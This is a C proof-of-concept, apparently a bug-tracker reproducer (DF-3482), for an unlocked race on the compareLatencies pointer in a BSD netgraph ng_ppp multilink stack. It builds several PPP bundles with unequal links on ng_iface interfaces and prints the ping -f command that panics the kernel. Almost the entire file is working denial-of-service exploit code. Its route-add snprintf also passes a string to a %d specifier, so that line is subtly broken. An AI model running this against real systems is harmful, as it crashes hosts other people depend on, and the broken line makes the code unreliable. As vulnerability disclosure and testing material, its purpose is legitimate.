DF-3482 / pppstrat.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 | /* * DF-3482 -- v1 ng_ppp compareLatencies/kqsort race (DF-0330's LIVE v1 twin). * * ng_ppp_mp_strategy() (ng_ppp.c:1746-1749) sets the file-scope global * compareLatencies = latency; (stack array of the CURRENT caller) * kqsort(sortByLatency, n, ..., ng_ppp_intcmp); (:1840 derefs it) * compareLatencies = NULL; * with no lock. In netgraph7 every item funnels to cpu0 so the race is * latent (DF-0330); in v1 (the LIVE stack) the ng_iface output path runs * ng_ppp_output -> ng_ppp_mp_output -> ng_ppp_mp_strategy in the SENDING * PROCESS'S THREAD on whatever CPU it runs on -- no netisr funnel, no * BGL, no socket tokens. Two bundles (or one bundle driven from two * CPUs) executing strategy concurrently: thread A finishes its kqsort * and stores NULL while thread B is inside ng_ppp_intcmp -> NULL[index] * read -> kernel panic. * * Graph (per bundle): * ppp(multilink, roundRobin=0, 6 links with UNEQUAL bandwidths so * allLinksEqual=0 and mp_strategy runs) --inet-- ng_iface(ngN) * links link1..link6 -- ksocket/udp (bound, absorbs fragments) * Setup is root (graph + ifconfig + route); the TRIGGER is any traffic * through the interface (ping -f) -- in a real deployment that is * routable/forwarded traffic from arbitrary local or remote users. */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <errno.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <netgraph/ng_message.h> #include <netgraph/socket/ng_socket.h> #include <netgraph/ppp/ng_ppp.h> #include <netgraph/ksocket/ng_ksocket.h> #define NLINK 6 static int ctrl; static u_int32_t token = 1; static int nextport = 20100; static void die(const char *m) { fprintf(stderr, "%s: %s\n", m, strerror(errno)); exit(1); } static int ctl(const char *path, u_int32_t cookie, int cmd, const void *arg, size_t alen) { struct sockaddr_ng sg; struct ng_mesg *m; size_t len = sizeof(*m) + (alen ? alen - 1 : 0) + 1; ssize_t n; m = calloc(1, len); m->header.version = NG_VERSION; m->header.typecookie = cookie; m->header.cmd = cmd; m->header.arglen = alen; m->header.token = token++; if (alen) memcpy(m->data, arg, alen); memset(&sg, 0, sizeof(sg)); sg.sg_len = 2 + strlen(path); sg.sg_family = AF_NETGRAPH; strlcpy(sg.sg_data, path, sizeof(sg.sg_data)); n = sendto(ctrl, m, len, 0, (struct sockaddr *)&sg, sg.sg_len); free(m); return (n < 0) ? -errno : 0; } static int bindport(const char *path) { struct sockaddr_in sin; int rc, p; memset(&sin, 0, sizeof(sin)); sin.sin_len = sizeof(sin); sin.sin_family = AF_INET; sin.sin_addr.s_addr = htonl(INADDR_LOOPBACK); for (p = nextport; p < nextport + 40; p++) { sin.sin_port = htons(p); rc = ctl(path, NGM_KSOCKET_COOKIE, NGM_KSOCKET_BIND, &sin, sizeof(sin)); if (rc == 0) { nextport = p + 1; return (p); } if (rc != -EADDRINUSE) die("ksocket bind"); } die("no port"); return (-1); } static void build_bundle(int idx) { struct ngm_mkpeer mk; struct ng_ppp_node_conf conf; char hook[8], path[32], ifpath[16]; int rc, i; /* ppp node on our hook p<idx> */ snprintf(hook, sizeof(hook), "p%d", idx); memset(&mk, 0, sizeof(mk)); strlcpy(mk.type, "ppp", sizeof(mk.type)); strlcpy(mk.ourhook, hook, sizeof(mk.ourhook)); strlcpy(mk.peerhook, "link0", sizeof(mk.peerhook)); rc = ctl("f1:", NGM_GENERIC_COOKIE, NGM_MKPEER, &mk, sizeof(mk)); if (rc && rc != -EEXIST) die("mkpeer ppp"); snprintf(path, sizeof(path), "f1:%s", hook); /* iface node on the ppp node's inet hook */ memset(&mk, 0, sizeof(mk)); strlcpy(mk.type, "iface", sizeof(mk.type)); strlcpy(mk.ourhook, "inet", sizeof(mk.ourhook)); strlcpy(mk.peerhook, "inet", sizeof(mk.peerhook)); rc = ctl(path, NGM_GENERIC_COOKIE, NGM_MKPEER, &mk, sizeof(mk)); if (rc) die("mkpeer iface"); /* NLINK ksocket links with graded bandwidths */ for (i = 1; i <= NLINK; i++) { char lp[32]; memset(&mk, 0, sizeof(mk)); strlcpy(mk.type, "ksocket", sizeof(mk.type)); snprintf(mk.ourhook, sizeof(mk.ourhook), "link%d", i); strlcpy(mk.peerhook, "inet/dgram/udp", sizeof(mk.peerhook)); rc = ctl(path, NGM_GENERIC_COOKIE, NGM_MKPEER, &mk, sizeof(mk)); if (rc) die("mkpeer ks"); snprintf(lp, sizeof(lp), "%s.link%d", path, i); bindport(lp); } /* config: multilink, unequal links -> allLinksEqual=0 -> strategy */ memset(&conf, 0, sizeof(conf)); conf.bund.mrru = 1500; conf.bund.enableMultilink = 1; conf.bund.enableIP = 1; conf.bund.enableRoundRobin = 0; for (i = 0; i < NG_PPP_MAX_LINKS; i++) { conf.links[i].mru = 1600; conf.links[i].latency = 10 * ((i % NLINK) + 1); conf.links[i].bandwidth = 125000 / ((i % NLINK) + 1); conf.links[i].enableLink = (i >= 1 && i <= NLINK); } rc = ctl(path, NGM_PPP_COOKIE, NGM_PPP_SET_CONFIG, &conf, sizeof(conf)); if (rc) die("setconfig"); /* configure + route the ng_iface interface */ snprintf(ifpath, sizeof(ifpath), "ng%d", idx); { char cmd[128]; snprintf(cmd, sizeof(cmd), "ifconfig %s 10.24%d.0.1/30 up", ifpath, idx); if (system(cmd) != 0) printf("warn: %s\n", cmd); snprintf(cmd, sizeof(cmd), "route add -host 10.24%d.0.9 -interface %s", ifpath, ifpath); if (system(cmd) != 0) printf("warn: %s\n", cmd); } } int main(int argc, char **argv) { struct ngm_name nm; int nb = (argc > 1) ? atoi(argv[1]) : 2; int i; ctrl = socket(AF_NETGRAPH, SOCK_DGRAM, NG_CONTROL); if (ctrl < 0) die("ctrl"); memset(&nm, 0, sizeof(nm)); strlcpy(nm.name, "f1", sizeof(nm.name)); (void)ctl(".", NGM_GENERIC_COOKIE, NGM_NAME, &nm, sizeof(nm)); for (i = 0; i < nb; i++) build_bundle(i); printf("built %d iface-fed MP bundles; ping -f 10.24<N>.0.9\n", nb); return (0); } |